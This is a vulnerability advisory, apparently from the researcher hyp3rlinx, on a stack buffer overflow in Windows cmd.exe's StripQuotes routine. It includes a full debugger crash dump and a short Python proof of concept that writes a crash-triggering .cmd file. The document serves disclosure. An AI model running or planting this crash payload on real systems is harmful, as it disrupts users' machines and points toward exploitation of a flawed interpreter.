Friday, September 17, 2021

Microsoft Windows cmd.exe Stack Buffer Overflow

[+] Credits: John Page (aka hyp3rlinx, malvuln)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CMD.EXE-STACK-BUFFER-OVERFLOW.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]
www.microsoft.com


[Product]
cmd.exe is the default command-line interpreter for the OS/2, eComStation, ArcaOS, Microsoft Windows (Windows NT family and Windows CE family), and ReactOS operating systems.


[Vulnerability Type]
Stack Buffer Overflow


[CVE Reference]
N/A


[Security Issue]
Specially crafted payload will trigger a Stack Buffer Overflow in the NT Windows "cmd.exe" commandline interpreter. Requires running an already dangerous file type like .cmd or .bat. However, when cmd.exe accepts arguments using /c /k flags which execute commands specified by string, that will also trigger the buffer overflow condition.

E.g. cmd.exe /c <PAYLOAD>.


[Memory Dump]
(660.12d4): Stack buffer overflow - code c0000409 (first/second chance not available)
ntdll!ZwWaitForMultipleObjects+0x14:
00007ffb`00a809d4 c3 ret

0:000> .ecxr
rax=0000000000000022 rbx=000002e34d796890 rcx=00007ff7c0e492c0
rdx=00007ff7c0e64534 rsi=000000000000200e rdi=000000000000200c
rip=00007ff7c0e214f8 rsp=000000f6a82ff0a0 rbp=000000f6a82ff1d0
r8=000000000000200c r9=00007ff7c0e60520 r10=0000000000000000
r11=0000000000000000 r12=000002e34d77a810 r13=0000000000000002
r14=000002e34d796890 r15=000000000000200d
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
cmd!StripQuotes+0xa8:
00007ff7`c0e214f8 cc int 3

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
cmd!StripQuotes+a8
00007ff7`c0e214f8 cc int 3

EXCEPTION_RECORD: ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00007ff7c0e214f8 (cmd!StripQuotes+0x00000000000000a8)
ExceptionCode: c0000409 (Stack buffer overflow)
ExceptionFlags: 00000001
NumberParameters: 1
Parameter[0]: 0000000000000008

PROCESS_NAME: cmd.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1: 0000000000000008

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00000000000012d4

BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_SOFTWARE_NX_FAULT_EXPLOITABLE

PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE

DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE

LAST_CONTROL_TRANSFER: from 00007ffafcfca9c6 to 00007ffb00a809d4

STACK_TEXT:
000000f6`a82fea38 00007ffa`fcfca9c6 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!ZwWaitForMultipleObjects+0x14
000000f6`a82fea40 00007ffa`fcfca8ae : 00000000`00000098 00000000`00000096 00000000`d000022d 00000000`d000022d : KERNELBASE!WaitForMultipleObjectsEx+0x106
000000f6`a82fed40 00007ffa`fe1d190e : 00000000`00000000 000000f6`a82ff1d0 00007ff7`c0e3e000 00007ffb`009f5a81 : KERNELBASE!WaitForMultipleObjects+0xe
000000f6`a82fed80 00007ffa`fe1d150f : 00000000`00000000 00000000`00000000 00000000`00000003 00000000`00000001 : kernel32!WerpReportFaultInternal+0x3ce
000000f6`a82feea0 00007ffa`fd05976b : 00000000`00000000 000000f6`a82ff1d0 00000000`00000004 00000000`00000000 : kernel32!WerpReportFault+0x73
000000f6`a82feee0 00007ff7`c0e26b6a : 00007ff7`c0e3e000 00007ff7`c0e3e000 00000000`0000200e 00000000`0000200c : KERNELBASE!UnhandledExceptionFilter+0x35b
000000f6`a82feff0 00007ff7`c0e26df6 : 000002e3`00000000 00007ff7`c0e10000 000002e3`4d796890 00007ff7`c0e6602c : cmd!_raise_securityfailure+0x1a
000000f6`a82ff020 00007ff7`c0e214f8 : 000002e3`4d77a810 00000000`00000000 00000000`00000002 00000000`0000200e : cmd!_report_rangecheckfailure+0xf2
000000f6`a82ff0a0 00007ff7`c0e2096f : 00000000`0000200c 000000f6`a82ff1d0 000000f6`a82ff1d0 00000000`0000200e : cmd!StripQuotes+0xa8
000000f6`a82ff0d0 00007ff7`c0e239a9 : 000002e3`4d76ff90 000002e3`4d76ff90 00000000`00000000 000002e3`4d76ff90 : cmd!SearchForExecutable+0x443
000000f6`a82ff390 00007ff7`c0e1fb9e : 00000000`00000000 000002e3`4d76ff90 ffffffff`ffffffff 000002e3`4d990000 : cmd!ECWork+0x69
000000f6`a82ff600 00007ff7`c0e1ff35 : 00007ff7`c0e4fbb0 000002e3`4d76ff90 00000000`00000000 00000000`00000001 : cmd!FindFixAndRun+0x3de
000000f6`a82ffaa0 00007ff7`c0e2277e : 00000000`00000002 000000f6`a82ffbb0 00000000`00000000 00000000`00000002 : cmd!Dispatch+0xa5
000000f6`a82ffb30 00007ff7`c0e26a89 : 00000000`00000001 00000000`00000000 00007ff7`c0e3fd78 00000000`00000000 : cmd!main+0x1fa
000000f6`a82ffbd0 00007ffa`fe1e1fe4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : cmd!wil::details_abi::ProcessLocalStorage<wil::details_abi::ProcessLocalData>::~ProcessLocalStorage<wil::details_abi::ProcessLocalData>+0x289
000000f6`a82ffc10 00007ffb`00a4efc1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14
000000f6`a82ffc40 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21


FOLLOWUP_IP:
cmd!StripQuotes+a8
00007ff7`c0e214f8 cc int 3

SYMBOL_STACK_INDEX: 8

SYMBOL_NAME: cmd!StripQuotes+a8

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: cmd

IMAGE_NAME: cmd.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 0

STACK_COMMAND: ~0s ; kb

FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_c0000409_cmd.exe!StripQuotes

BUCKET_ID: X64_APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_SOFTWARE_NX_FAULT_EXPLOITABLE_MISSING_GSFRAME_cmd!StripQuotes+a8


[Exploit/POC]
PAYLOAD=chr(235) + "\\CC"
PAYLOAD = PAYLOAD * 3000

with open("hate.cmd", "w") as f:
f.write(PAYLOAD)


[Network Access]
Local


[Severity]
Low


[Disclosure Timeline]
Vendor Notification: Requires running dangerous file types already.
September 15, 2021 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
 

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